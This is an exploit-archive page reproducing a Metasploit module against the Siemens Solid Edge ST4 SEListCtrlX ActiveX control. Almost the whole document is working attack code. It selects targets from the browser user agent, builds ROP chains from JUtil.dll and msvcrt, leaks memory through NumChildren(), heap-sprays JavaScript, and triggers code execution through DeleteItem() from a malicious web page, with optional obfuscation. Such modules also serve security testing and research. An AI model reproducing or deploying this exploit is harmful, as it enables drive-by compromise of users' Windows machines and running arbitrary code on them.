SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution

2013.10.03
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank, :classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}" }) def initialize(info={}) super(update_info(info, 'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", 'Description' => %q{ This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product. The vulnerability exists on several APIs provided by the control, where user supplied input is handled as a memory pointer without proper validation, allowing an attacker to read and corrupt memory from the target process. This module abuses the methods NumChildren() and DeleteItem() in order to achieve memory info leak and remote code execution respectively. This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1, using Solid Edge 10.4. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '93696' ], [ 'EDB', '25712' ], [ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ] ], 'Payload' => { 'Space' => 906, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Jutil.dll 104.0.0.82 # SEListCtrlX 104.0.0.82 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], [ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "May 26 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def junk return rand_text_alpha(4).unpack("V").first end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end # JUtil ROP Chain # Jutil Base: 0x1d550000 # Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret # Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret # 0x1db2e121, # POP EDX # RETN [JUtil.dll] # 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll] # 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll] # 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll] # 0x1d70e314, # POP EBP # RETN [JUtil.dll] # 0x1d5fc8e8, # & jmp esp [JUtil.dll] # 0x1d631859, # POP EBX # RETN [JUtil.dll] # 0x00000201, # 0x00000201-> ebx # 0x1d769cf9, # POP EDX # RETN [JUtil.dll] # 0x00000040, # 0x00000040-> edx # 0x1d6d2e50, # POP ECX # RETN [JUtil.dll] # 0x1da45217, # &Writable location [JUtil.dll] # 0x1d632fd1, # POP EDI # RETN [JUtil.dll] # 0x1d6839db, # RETN (ROP NOP) [JUtil.dll] # 0x1d752439, # POP EAX # RETN [JUtil.dll] # 0x90909090, # nop # 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll] def ie9_spray(t, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch)) js = %Q| function rop_chain(jutil_base){ var arr = [ Number(Math.floor(Math.random()*0xffffffff)), Number(0x0c0c0c0c), Number(0x0c0c0c0c), Number(0x0c0c0c1c), Number(0x0c0c0c24), Number(0x0c0c0c28), Number(Math.floor(Math.random()*0xffffffff)), Number(Math.floor(Math.random()*0xffffffff)), Number(0x0c0c0c0c), Number(0x0c0c0c3c), jutil_base + Number(0x00212f17), jutil_base + Number(0x000a5843), Number(0x0c0c0c34), jutil_base + Number(0x5de121), jutil_base + Number(0x20ca), jutil_base + Number(0x4bebeb), jutil_base + Number(0x4c03d2), jutil_base + Number(0x1be314), jutil_base + Number(0xac8e8), jutil_base + Number(0xe1859), Number(0x00000201), jutil_base + Number(0x219cf9), Number(0x00000040), jutil_base + Number(0x182e50), jutil_base + Number(0x4f5217), jutil_base + Number(0xe2fd1), jutil_base + Number(0x1339db), jutil_base + Number(0x202439), Number(0x90909090), jutil_base + Number(0x4fcfe3) ]; return arr; } function d2u(dword){ var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function tab2uni(tab){ var uni = "" for(var i=0;i<tab.length;i++){ uni += d2u(tab[i]); } return uni; } function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); function heap_spray(jutil_base) { while (nops.length < 0x80000) nops += nops; var offset_length = #{t['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var rop = tab2uni(rop_chain(jutil_base)); var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } } | return js end def ie8_spray(t, p) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); function rop_chain(jutil_base){ var arr = [ Number(Math.floor(Math.random()*0xffffffff)), Number(0x0c0c0c0c), Number(0x0c0c0c0c), Number(0x0c0c0c1c), Number(0x0c0c0c24), Number(0x0c0c0c28), Number(Math.floor(Math.random()*0xffffffff)), Number(Math.floor(Math.random()*0xffffffff)), Number(0x0c0c0c0c), Number(0x0c0c0c3c), jutil_base + Number(0x00212f17), jutil_base + Number(0x000a5843), Number(0x0c0c0c34), jutil_base + Number(0x5de121), jutil_base + Number(0x20ca), jutil_base + Number(0x4bebeb), jutil_base + Number(0x4c03d2), jutil_base + Number(0x1be314), jutil_base + Number(0xac8e8), jutil_base + Number(0xe1859), Number(0x00000201), jutil_base + Number(0x219cf9), Number(0x00000040), jutil_base + Number(0x182e50), jutil_base + Number(0x4f5217), jutil_base + Number(0xe2fd1), jutil_base + Number(0x1339db), jutil_base + Number(0x202439), Number(0x90909090), jutil_base + Number(0x4fcfe3) ]; return arr; } function d2u(dword){ var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function tab2uni(tab){ var uni = "" for(var i=0;i<tab.length;i++){ uni += d2u(tab[i]); } return uni; } function heap_spray(jutil_base) { while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var rop = tab2uni(rop_chain(jutil_base)); var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } } | return js end def ie6_spray(t, p) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) js = %Q| var heap_obj = new heapLib.ie(0x20000); var nops = unescape("#{js_nops}"); var code = unescape("#{js_code}"); function heap_spray() { while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } } | return js end def ie_heap_spray(my_target, p) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = ie9_spray(my_target, p) when targets[5], targets[6] # IE 8 on Windows 7 and Windows Vista js = ie8_spray(my_target, p) else js = ie6_spray(my_target, p) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate @heap_spray_fn = js.sym("heap_spray") else @heap_spray_fn = "heap_spray" end return js end def get_windows_xp_payload fake_memory = [ junk, # junk # 0c0c0c0c 0x0c0c0c0c, # Dereference # 0c0c0c10 0x0c0c0c0c, # Dereference # 0c0c0c14 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 0x0c0c0c24, # Dereference # 0c0c0c1c 0x0c0c0c28, # Dereference # 0c0c0c20 junk, # junk # 0c0c0c24 junk, # junk # 0c0c0c28 0x0c0c0c0c, # Dereference # 0c0c0c2c 0x0c0c0c30, # Dereference # 0c0c0c30 0x0c0c0c38, # new eip # 0c0c0c34 ].pack("V*") p = fake_memory + payload.encoded return p end def get_windows_msvcrt_payload fake_memory = [ junk, # junk # 0c0c0c0c 0x0c0c0c0c, # Dereference # 0c0c0c10 0x0c0c0c0c, # Dereference # 0c0c0c14 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 0x0c0c0c24, # Dereference # 0c0c0c1c 0x0c0c0c28, # Dereference # 0c0c0c20 junk, # junk # 0c0c0c24 junk, # junk # 0c0c0c28 0x0c0c0c0c, # Dereference # 0c0c0c2c 0x0c0c0c3c, # Dereference # 0c0c0c30 0x77c21ef4, # ppr msvcrt # 0c0c0c34 0x77c15ed5, # xchg eax,esp # ret (msvcrt) 0x0c0c0c34 # eax value # 0c0c0c3c ].pack("V*") return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'}) end def get_payload(t) # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") p = get_windows_msvcrt_payload when :jutil print_status("Using JUtil ROP built dynamically...") p = payload.encoded else print_status("Using payload without ROP...") p = get_windows_xp_payload end return p end def info_leak_trigger js = <<-EOS <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> </object> <script language='javascript'> jutil_address = obj.NumChildren(0x10017018 - 0x0c); jutil_base = jutil_address - 0x49440; #{@heap_spray_fn}(jutil_base); obj.DeleteItem(0x0c0c0c08); </script> EOS return js end def exec_trigger js = <<-EOS <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> </object> <script language='javascript'> #{@heap_spray_fn}(); obj.DeleteItem(0x0c0c0c08); </script> EOS return js end def get_trigger(t) case t['Rop'] when :jutil js = info_leak_trigger else js = exec_trigger end return js end def load_exploit_html(my_target) p = get_payload(my_target) js = ie_heap_spray(my_target, p) trigger = get_trigger(my_target) html = %Q| <html> <head> <script language='javascript'> #{js} </script> </head> <body> #{trigger} </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end

References:

http://retrogod.altervista.org/9sg_siemens_adv_ii.htm


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